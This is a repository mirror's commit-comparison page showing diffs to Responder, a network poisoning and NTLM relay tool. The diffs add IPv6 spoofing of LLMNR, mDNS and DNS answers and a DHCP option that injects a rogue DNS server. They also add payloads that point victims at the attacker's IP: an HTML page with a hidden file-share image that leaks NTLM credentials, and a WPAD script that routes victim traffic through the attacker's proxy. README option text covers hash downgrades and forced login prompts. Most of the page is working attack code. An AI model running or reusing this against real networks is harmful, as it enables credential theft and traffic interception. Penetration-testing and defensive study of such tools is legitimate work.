mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-26 01:19:05 +00:00
Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0b56d6aaeb | ||
|
|
5d4510cc1d | ||
|
|
bc812da2ef | ||
|
|
3e8c9fdb0e | ||
|
|
76f6c88df3 | ||
|
|
9dc779869b | ||
|
|
505ec34324 | ||
|
|
a0bf7a9baa | ||
|
|
bb17595e3f | ||
|
|
ba885b9345 | ||
|
|
568048710f | ||
|
|
3cd5140c80 | ||
|
|
17e62bda1a | ||
|
|
6e2c77168f |
73
README.md
73
README.md
@@ -1,6 +1,6 @@
|
||||
# Responder/MultiRelay #
|
||||
|
||||
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||
|
||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||
|
||||
@@ -8,12 +8,12 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
|
||||
|
||||
## Intro ##
|
||||
|
||||
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||
|
||||
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
|
||||
Responder is an LLMNR, NBT-NS and MDNS poisoner.
|
||||
|
||||
## Features ##
|
||||
|
||||
- Dual IPv6/IPv4 stack.
|
||||
|
||||
- Built-in SMB Auth server.
|
||||
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
|
||||
@@ -129,42 +129,48 @@ Typical Usage Example:
|
||||
|
||||
Options:
|
||||
|
||||
--version show program's version number and exit.
|
||||
-h, --help show this help message and exit.
|
||||
--version show program's version number and exit
|
||||
-h, --help show this help message and exit
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use.
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
Network interface to use, you can use 'ALL' as a
|
||||
wildcard for all interfaces
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
||||
Poison all requests with another IPv6 address than
|
||||
Responder's one.
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: Off
|
||||
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
|
||||
Answering to domain suffixes will likely break stuff
|
||||
on the network. Default: Off
|
||||
-f, --fingerprint This option allows you to fingerprint a host that
|
||||
issued an NBT-NS or LLMNR query.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: False
|
||||
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
||||
option will inject a WPAD server in the DHCP response.
|
||||
Default: False
|
||||
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
||||
response, otherwise a WPAD server will be added.
|
||||
Default: False
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
Off
|
||||
False
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
Off
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to
|
||||
be ON. This option is highly effective when combined
|
||||
with -r. Default: Off
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. This option is highly effective when combined with
|
||||
-r. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: Off
|
||||
--disable-ess Force ESS downgrade. Default: Off
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
|
||||
|
||||
|
||||
## Donation ##
|
||||
@@ -199,11 +205,6 @@ We would like to thanks those major sponsors:
|
||||
|
||||
Thank you.
|
||||
|
||||
## Official Discord Channel
|
||||
|
||||
Come hang out on Discord!
|
||||
|
||||
[](https://discord.gg/sEkn3aa)
|
||||
|
||||
## Copyright ##
|
||||
|
||||
|
||||
@@ -74,7 +74,7 @@ def GetUniqueDHCP(cursor):
|
||||
def GetRunFinger(cursor):
|
||||
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
|
||||
for row in res.fetchall():
|
||||
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9])))
|
||||
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
|
||||
|
||||
def GetStatisticUniqueLookups(cursor):
|
||||
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||
|
||||
90
Responder.py
90
Responder.py
@@ -29,12 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
|
||||
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
@@ -73,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
@@ -89,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
@@ -105,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
@@ -116,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
|
||||
MADDR6 = 'ff02::fb'
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||
|
||||
#IPV6:
|
||||
if (sys.version_info > (3, 0)):
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
else:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
if settings.Config.Bind_To_ALL:
|
||||
@@ -129,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.252"
|
||||
MADDR = '224.0.0.252'
|
||||
MADDR6 = 'FF02:0:0:0:0:0:1:3'
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||
|
||||
|
||||
#IPV6:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
if settings.Config.Bind_To_ALL:
|
||||
@@ -151,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
#pass
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
|
||||
ThreadingUDPServer.allow_reuse_address = 1
|
||||
ThreadingUDPServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingTCPServer.allow_reuse_address = 1
|
||||
ThreadingTCPServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||
ThreadingTCPServerAuth.address_family = socket.AF_INET6
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_NBTNS_poisoner(host, port, handler):
|
||||
serve_thread_udp_broadcast(host, port, handler)
|
||||
serve_thread_udp_broadcast('', port, handler)
|
||||
|
||||
def serve_MDNS_poisoner(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPMDNSServer((host, port), handler)
|
||||
server = ThreadingUDPMDNSServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_LLMNR_poisoner(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPLLMNRServer((host, port), handler)
|
||||
server = ThreadingUDPLLMNRServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
raise
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
|
||||
def serve_thread_udp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
@@ -203,10 +226,10 @@ def serve_thread_udp(host, port, handler):
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
@@ -214,10 +237,10 @@ def serve_thread_tcp(host, port, handler):
|
||||
def serve_thread_tcp_auth(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server = ThreadingTCPServerAuth(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server = ThreadingTCPServerAuth(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
@@ -229,11 +252,11 @@ def serve_thread_SSL(host, port, handler):
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server.serve_forever()
|
||||
except:
|
||||
@@ -241,6 +264,10 @@ def serve_thread_SSL(host, port, handler):
|
||||
|
||||
def main():
|
||||
try:
|
||||
if (sys.version_info < (3, 0)):
|
||||
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
|
||||
threads = []
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
@@ -339,15 +366,12 @@ def main():
|
||||
thread.setDaemon(True)
|
||||
thread.start()
|
||||
|
||||
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||
|
||||
if settings.Config.DHCP_On_Off:
|
||||
from poisoners.DHCP import DHCP
|
||||
DHCP()
|
||||
DHCP(settings.Config.DHCP_DNS)
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
@@ -1,66 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
if (sys.version_info > (3, 0)):
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
packet = NetworkRecvBufferPython2or3(data[47+length:])
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
else:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
|
||||
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
|
||||
n = SMBNego(data = str(SMBNegoFingerData()))
|
||||
n.calculate()
|
||||
Packet = str(h)+str(n)
|
||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == b'\x72\x00':
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == b'\x73\x16':
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print(color("[!] ", 1, 1) +" Fingerprint failed")
|
||||
return None
|
||||
86
packets.py
86
packets.py
@@ -23,7 +23,7 @@ import re
|
||||
from os import urandom
|
||||
from base64 import b64decode, b64encode
|
||||
from odict import OrderedDict
|
||||
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||
|
||||
# Packet class handling all packet generation (see odict.py).
|
||||
class Packet():
|
||||
@@ -90,6 +90,32 @@ class DNS_Ans(Packet):
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
class DNS6_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x10"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerPointer", "\xc0\x0c"),
|
||||
("Type1", "\x00\x1c"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
class DNS_SRV_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
@@ -181,6 +207,35 @@ class LLMNR_Ans(Packet):
|
||||
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||
|
||||
class LLMNR6_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x80\x00"),
|
||||
("Question", "\x00\x01"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("QuestionNameLen", "\x09"),
|
||||
("QuestionName", ""),
|
||||
("QuestionNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("AnswerNameLen", "\x09"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type1", "\x00\x1c"),
|
||||
("Class1", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||
|
||||
# MDNS Answer Packet
|
||||
class MDNS_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -200,6 +255,29 @@ class MDNS_Ans(Packet):
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
# MDNS6 Answer Packet
|
||||
class MDNS6_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", "\x00\x00"),
|
||||
("Flags", "\x84\x00"),
|
||||
("Question", "\x00\x00"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("AnswerName", ""),
|
||||
("AnswerNameNull", "\x00"),
|
||||
("Type", "\x00\x1c"),
|
||||
("Class", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
|
||||
("IPLen", "\x00\x04"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = RespondWithIPPton()
|
||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||
|
||||
################### DHCP SRV ######################
|
||||
@@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet):
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
@@ -358,7 +436,7 @@ class WPADScript(Packet):
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
@@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet):
|
||||
("ServerName", settings.Config.MachineName),
|
||||
("ServerTerminator", "\x00"),
|
||||
("UsernameLen", "\x10"),
|
||||
("Username", "LGANDX"),
|
||||
("Username", settings.Config.Username),
|
||||
("UserTerminator", "\x00"),
|
||||
("SrvSiteNameLen", "\x17"),
|
||||
("SrvSiteName", "Default-First-Site-Name"),
|
||||
|
||||
@@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
|
||||
sys.exit('This script is meant to be run with Python3')
|
||||
|
||||
import struct
|
||||
import random
|
||||
import optparse
|
||||
import configparser
|
||||
import os
|
||||
